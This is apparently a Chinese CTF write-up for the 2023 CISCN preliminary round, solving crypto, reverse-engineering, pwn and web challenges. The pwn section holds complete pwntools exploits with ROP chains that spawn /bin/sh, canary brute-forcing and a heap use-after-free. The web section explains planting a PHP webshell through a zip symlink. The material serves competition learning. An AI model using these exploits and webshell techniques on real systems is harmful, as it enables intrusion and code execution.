2023 CISCN 初赛 Writeup By Xp0int

1. MISC

1.1. 签到卡

签到

1.2. 网络安全人才实战能力评价现状调研问卷

签退

2. Crypto

2.1. 基于国密SM2算法的密钥密文分发

登录:http://123.56.251.120:34721/api/login

1
2
3
4
5
{
 "school": "安徽大学",
 "name":"呼呼",
 "phone":"13112304567"
}

回复:

1
2
3
4
5
6
{
  "message": "success",
  "data": {
    "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
  }
}

生成sm2公钥:

1
13FDDB9B907BBA455D6E0F20C337E8283AD0776BC456C9F1FDCA598DB19D14D92BDA112DDE61592E38474CF55B3DB1810942AF505288DBF3248BFAD48B41386A

对应私钥:

1
03EB68C624A42FE89D04696C3B2B58EE3D577F98845C47D6E04938680B8E1E2F

上传公钥:http://123.56.251.120:34721/api/allkey

1
2
3
4
{
 "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
 "publicKey": "13FDDB9B907BBA455D6E0F20C337E8283AD0776BC456C9F1FDCA598DB19D14D92BDA112DDE61592E38474CF55B3DB1810942AF505288DBF3248BFAD48B41386A"
}

响应

1
2
3
4
5
6
7
8
9
{
  "message": "success",
  "data": {
    "publicKey": "0484b3a4083bc3cd541049e0f98af8b4fb9bbc1d17accb3b4cd52926ce0ac44d54d102f76fdd2682e62a74a2bb1ded4bba0ff933f893b68219aa89d0e41f94f1bb",
    "privateKey": "702ffe6f46fe568510d0711178a38dc76650641125fcff36c0b1887c204f7cc6",
    "randomString": "6a20974229b97c198e32b4370cc73c51000768f08e56f2a5d8552d5aa587a5e0f502e7e936b5d0ac71fd8cfeb9e4cab9ba2bbc95dbea57b03bd7737489caa23f1b285b5c6123ebea82e6e5ec9cb2bd10c92f0335bef1d4ee2ea0f19d70bea1cd12c4f9e0ee2cf16ee30e277c177c2d47",
    "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
  }
}

随机数明文:

1
B910AB0F175DA3C3ED9DAFD2473A3C7C

服务端私钥明文:

1
1221B8B7044EEF6A1E3852BD4CACC1D0972B4FE689536A5EB550409467D05B9A

密钥获取:http://123.56.251.120:34721/api/quantum

1
2
3
{
 "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}

响应

1
2
3
4
5
6
7
{
  "message": "success",
  "data": {
    "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
    "quantumString": "2b94a2b9d0f8812ac2b8df1c7addefab0401d002d77c8d32c75df8fc4426ffd93ac9853fa6643d92f028575e5e812a7a82d0166f3b2e036eb4451d1b940635eb2771454bb2d963cf0965b1b34a94ef854b588c70d1123a7439155932ec8779f55df9b5e5b83db410074c5ca79876b10d"
  }
}

密钥验证:http://123.56.251.120:34721/api/check

1
2
3
4
{
 "id":"d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
 "quantumString":"fa4667e14f882a0fc3e0342c7972674b"
}

获取flag:http://123.56.251.120:34721/api/search

1
2
3
{
 "id":"d8a8a555-5e4f-4a48-9bd5-5ac2f6682407"
}

响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "message": "success",
  "data": {
    "id": "d8a8a555-5e4f-4a48-9bd5-5ac2f6682407",
    "name": "呼呼",
    "school": "安徽大学",
    "phone": "13112304567",
    "publicKey": "0484b3a4083bc3cd541049e0f98af8b4fb9bbc1d17accb3b4cd52926ce0ac44d54d102f76fdd2682e62a74a2bb1ded4bba0ff933f893b68219aa89d0e41f94f1bb",
    "privateKey": "1221b8b7044eef6a1e3852bd4cacc1d0972b4fe689536a5eb550409467d05b9a",
    "randomString": "b910ab0f175da3c3ed9dafd2473a3c7c",
    "quantumStringServer": "fa4667e14f882a0fc3e0342c7972674b",
    "quantumStringUser": "fa4667e14f882a0fc3e0342c7972674b",
    "flag": "已完成考题,结果正确:flag{d24ddc8c-53d3-4b8d-a665-b23778d0dd7a}"
  }
}

2.2. Sign_in_passwd

base64换表

1
2
3
4
5
6
7
8
9
import base64
import string

str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"

string1 = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag: flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

2.3. badkey1

https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/RSA.py看库源码,发现有

1
2
if Integer(n).gcd(d) != 1:
	raise ValueError("RSA private exponent is not coprime to modulus")

所以令\(d = ap\)即可。

先求出满足条件的\(a\)的值

\[d = ap \\ d = a + a(p-1) \\ ed = ea + a(p-1) \\\]

所以这里\(ea=1\mod p-1\),可以求出满足条件的\(a\)

解下来生成\(q\),从\(ed - 1 = k(p-1)(q-1)\)得到

\[\frac{eap - 1}{p - 1} = k(q-1)\]

从\(\frac{eap - 1}{p - 1}\)中分离出小因子\(k\)得到512比特的数,这个数加上1后判断是否为素数,如果是素数则生成了一个满足条件的\(q\)。如果遍历完了所有因子都无法生成\(q\),则重新选一个\(p\),重新跑上面的步骤。

生成素数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
e = 65537

while True:
    p = getPrime(512)
    a = inverse_mod(e ,p - 1)
    d = a * p

    assert (e * d) % (p - 1) == 1

    kq_ = (e * a * p - 1) // (p - 1)
    k = 1
    while Integer(kq_ // k).nbits() > 512:
        k += 1 
    while Integer(kq_ // k).nbits() == 512:
        q = int(kq_ // k + 1)
        if kq_ % k == 0 and isPrime(q):
            print(q,p)
            phi = (p - 1) * (q - 1)
            d = inverse_mod(e,phi)
            print(gcd(d,p * q))
            break
        k += 1
    if isPrime(q):
        break
    else:
        print('[+] keep generate')
'''
12031240925733358678956397153973814794830927072519619254688622459702535531607358913397797374211452496749516080814352478517886474216523422136793875438595551 11408214256278155843854906820616320648049844644278946595648838069284033943801902099045617625821569286890641484147603016608649571293695114014470303474295721
'''

proof_of_work

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import sha256
import string 
String = string.ascii_letters + string.digits
def proof_of_work(END,HASH):
    for i in String:
        for j in String:
            for k in String:
                for l in String:
                    s = i+j+k+l+END
                    if sha256(s.encode()).hexdigest() == HASH:
                        return i+j+k+l

END = 'Y0HWy6X3BcBW0WNQ'
HASH = '0a7aaf2d505e367a3c8e9b621c1e762e18259bebb2ac3b04581a64e4e96530a9'

b7d776a17e4d54342dff1b99f13c5df

3. RE

3.1. ezbyte

输入,下硬断,发现程序会把flag中间32字节放在r12~r15里,不过后续把r12和r13的内容再次压入栈中,再下硬断,跟到一个分发的虚拟机函数里,发现机器码取的是.eh_frame的数据,联想到:https://bbs.kanxue.com/thread-271891.htm

直接readelf -wf ezbyte_patch一把梭,梭出来的结果搜DW_CFA_val_expression,发现只有一个,并且对应的地方似乎刚好是出题人自己设的一个异常,应该就是它。整理一下得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
DW_OP_constu: 2616514329260088143; 
DW_OP_constu: 1237891274917891239; 
DW_OP_constu: 1892739; 
DW_OP_breg12 (r12): 0; 
DW_OP_plus; 
DW_OP_xor; 
DW_OP_xor; 
DW_OP_constu: 8502251781212277489; 
DW_OP_constu: 1209847170981118947; 
DW_OP_constu: 8971237; 
DW_OP_breg13 (r13): 0; 
DW_OP_plus; 
DW_OP_xor; 
DW_OP_xor; 
DW_OP_or; 
DW_OP_constu: 2451795628338718684; 
DW_OP_constu: 1098791727398412397; 
DW_OP_constu: 1512312; 
DW_OP_breg14 (r14): 0; 
DW_OP_plus; 
DW_OP_xor; 
DW_OP_xor; 
DW_OP_or; 
DW_OP_constu: 8722213363631027234; 
DW_OP_constu: 1890878197237214971; 
DW_OP_constu: 9123704; 
DW_OP_breg15 (r15): 0; 
DW_OP_plus; 
DW_OP_xor; 
DW_OP_xor; 
DW_OP_or

一眼就能猜出在干嘛:flag分成四段,每一段先加常数再异或一个常数,然后通过异或比较,最后通过or来检验是否都跟密文相符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> 2616514329260088143^1237891274917891239
3846749616666908648
>>> _-1892739
3846749616665015909
>>> hex(_)
'0x3562666539303665'
>>> 0x3562666539303665.to_bytes(8,'little')
b'e609efb5'
>>> ((8502251781212277489^1209847170981118947)-8971237).to_bytes(8,'little')
b'-e70e-4e'
>>> ((2451795628338718684^1098791727398412397)-1512312).to_bytes(8,'little')
b'94-ac69-'
>>> ((8722213363631027234^1890878197237214971)-9123704).to_bytes(8,'little')
b'ac31d96c'

剩下的flag头尾程序一开始直接明文校对,直接拼上去完事。

3.2. moveAside

mov混淆:https://github.com/xoreaxeaxeax/movfuscator

hxp的人整了一个反混淆:https://github.com/leetonidas/demovfuscator

虽然只能恢复零星几个指令但对这道题来说够用了,梭完给scanf下断点,拿到输入存储地址,下硬断一直跟下去,发现0x805191A往后会提取输入单个字节跟常数加和异或,最后会在固定数组里也取一个字节用strcmp比较,测试了下发现确实是这样。

1
2
3
4
5
6
7
>>> s = [0x67, 0x9D, 0x60, 0x66, 0x8A, 0x56, 0x49, 0x50, 0x65, 0x65, 0x60, 0x55, 0x64, 0x5C, 0x65, 0x48, 0x50, 0x51, 0x5C, 0x55, 0x67, 0x51, 0x57, 0x5C, 0x49, 0x67, 0x54, 0x63, 0x5C, 0x54, 0x62, 0x52, 0x56, 0x54, 0x54, 0x50, 0x49, 0x53, 0x52, 0x52, 0x56, 0x8C, 0xD4, 0xF7]
>>> for i in range(len(s)):
...     s[i]^=0x19
...     s[i]-=0x18
...
>>> bytes(s)
b'flag{781dda4e-d910-4f06-8f5b-5c3755182337}\xb5\xd6'

3.3. babyRE

xml文件,看不懂在干嘛,但发现有异或,还有对变量secret的赋值,第一个值刚好是’f’,随手测试下发现后面异或前面就完事。

1
2
3
4
5
6
7
8
>>> s=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
>>> len(s)
42
>>> for i in range(1,42):
...     s[i]^=s[i-1]
...
>>> bytes(s)
b'flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}'

4. PWN

4.1. 烧烤摊儿

签到题,首先是没判断负数,直接负数溢出把钱改大,买摊留名一把梭哈

函数没 canary,直接栈溢出 ROP 就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

#p = process('./shaokao')
p = remote('47.95.212.224',34253)

sla('> ', '1')
sla('涯\n', '1')
sla('?\n', '-999999999')
sla('> ', '4')
sla('> ', '5')
#dbg('b *0x401fae\nc')

rebase_0 = lambda x : p64(x + 0x0000000000400000)
rop = b''
rop += rebase_0(0x0000000000013fc0) # 0x0000000000413fc0: pop r13; ret; 
rop += b'//bin/sh'
rop += rebase_0(0x00000000000021dd) # 0x00000000004021dd: pop rbx; ret; 
rop += rebase_0(0x00000000000e60e0)
rop += rebase_0(0x0000000000080f02) # 0x0000000000480f02: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000013fc0) # 0x0000000000413fc0: pop r13; ret; 
rop += p64(0x0000000000000000)
rop += rebase_0(0x00000000000021dd) # 0x00000000004021dd: pop rbx; ret; 
rop += rebase_0(0x00000000000e60e8)
rop += rebase_0(0x0000000000080f02) # 0x0000000000480f02: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret; 
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000264f) # 0x000000000040264f: pop rdi; ret; 
rop += rebase_0(0x00000000000e60e0)
rop += rebase_0(0x000000000000a67e) # 0x000000000040a67e: pop rsi; ret; 
rop += rebase_0(0x00000000000e60e8)
rop += rebase_0(0x00000000000a404b) # 0x00000000004a404b: pop rdx; pop rbx; ret; 
rop += rebase_0(0x00000000000e60e8)
rop += p64(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000058827) # 0x0000000000458827: pop rax; ret; 
rop += p64(0x000000000000003b)
rop += rebase_0(0x00000000000230a6) # 0x00000000004230a6: syscall; ret; 

sla(':\n', b'a'*0x28 + rop)

irt()

4.2. StrangeTalkBot

通过搜索 magic 快速可以定位到部分源码仓库

恢复结构体后,手写 proto 文件用 protoc 转 py 即可

特别留意 sint64 跟 int64 不是一个东西

经典 tcache uaf,开了 seccomp,打 free_hook 做栈迁移,通过 ROP 来 orw 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

#p = process('./pwn')
p = remote('123.57.248.214',21202)

import devicemsg_pb2

def new(i,s,c):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 1
        msg.msgidx = i
        msg.msgsize = s
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString())
def free(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 4
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def show(i):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 3
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sda(': \n',msg.SerializeToString())
def edit(i,c):
        msg = devicemsg_pb2.Devicemsg()
        msg.actionid = 2
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = c
        sda(': \n',msg.SerializeToString())

for i in range(8):
        new(i,0xf0,b'')
for i in range(8):
        free(i)

show(7)
rc(0x50)
libc_base = uu64(rc(8))-0x1ecbe0
success('libc_base --> %s',hex(libc_base))
show(0)
rc(8)
heap_base = uu64(rc(8))-0x10
success('heap_base --> %s',hex(heap_base))

pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_ret = libc_base+0x0000000000142c92
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9

edit(6,p64(libc_base+0x1eee48) + flat([
        libc_base+0x0000000000025b9b,
        0,
        heap_base+0xad0,
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_ret,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_ret,
        0x30,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
]))
new(8,0xf0,flat({
        0x00: 0x67616C662F, # /flag
        0x28: libc_base+0x00000000000578c8,
        0x48: heap_base+0xfa0
}, filler=b'\x00'))
new(9,0xf0,p64(libc_base+0x0000000000154dea)) # rbp=[rdi+0x48]; rax=[rbp+0x18]; call [rax+0x28]
#dbg('b *(free+161)\nc')
free(8)

irt()

4.3. funcanary

贴脸栈溢出,不过开了 canary,且没有直接的信息泄露途径

不过,因为 fork 的关系,可以直接爆破 canary

程序留了后门函数

直接利用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

#p = process('./funcanary')
p = remote('39.106.48.123',31571)

data = 'a'*0x68
for _ in range(8):
        for i in range(256):
                sda('come\n',data+chr(i))
                if rc(1)==b'h':
                        data += chr(i)
                        break
data += '\x00'*8+'\x31'
for i in range(16):
        sda('come\n',data+chr(i*16+2))
        if rc(1)==b'f':
                break

irt()

4.4. Shell We Go

golang 题,主要难在逆向

用 binary ninja 反编译,通过插件恢复函数名

开头有一个 cert 验证,用户名 nAcDsMicN

rc4,直接解密即可

在指令解析函数里面,只有 cert 和 echo 有特殊函数实现,猜测漏洞在 echo 中

漏洞点,栈溢出,用 + 可以增大 index

用 ropper 构造 rop 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
irt = lambda :p.interactive()
dbg = lambda s=None:gdb.attach(p,s)
uu32 = lambda d:u32(d.ljust(4,b'\0'))
uu64 = lambda d:u64(d.ljust(8,b'\0'))

p = process('./pwn')
#p = remote('47.93.187.243',34797)

sla('ciscnshell$ ','cert nAcDsMicN S33UAga1n@#!')
IMAGE_BASE_0 = 0x0000000000400000 # 72d6ee2d1532202e269c7676f4165c96d7b0be1f141c1f7f2bc2cb19eef0eff2
rebase_0 = lambda x : p64(x + IMAGE_BASE_0)
rop = b''
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret; 
rop += b'//bin/sh'
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret; 
rop += rebase_0(0x000000000019ab20+8)
rop += rebase_0(0x0000000000062cd7) # 0x0000000000462cd7: mov qword ptr [rdi], rax; ret; 
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret; 
rop += p64(0x0000000000000000)
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret; 
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x0000000000062cd7) # 0x0000000000462cd7: mov qword ptr [rdi], rax; ret; 
rop += rebase_0(0x0000000000044fec) # 0x0000000000444fec: pop rdi; ret; 
rop += rebase_0(0x000000000019ab20+8)
rop += rebase_0(0x000000000001e818) # 0x000000000041e818: pop rsi; ret; 
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x000000000009e11d) # 0x000000000049e11d: pop rdx; ret; 
rop += rebase_0(0x000000000019ab28+8)
rop += rebase_0(0x000000000000d9e6) # 0x000000000040d9e6: pop rax; ret; 
rop += p64(0x000000000000003b)
rop += rebase_0(0x00000000000636e9) # 0x00000000004636e9: syscall; ret; 
sla('nightingale# ',b'echo '+b'+'*0x111+b' b '+b'+'*0x111+b' ' +rop)

irt()

5. WEB

5.1. unzip

源码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

一个简单的解压功能,可以利用软链接把一句话webshell解压到网站根目录下,经过测试网站根目录没权限,但上一级www目录有,所以可以构造两个压缩包,一个里面设置test软链接到/var/www/目录,一个放test/html/shell.php。具体操作如下

设置test软链接到/var/www/,然后zip –symlinks生成压缩包

创建好两级目录test/html,里面放置一句话木马,生成压缩包

上传完压缩包,便会在/var/www/html下生成shell.php执行命令读取flag即可

Categories:

Updated: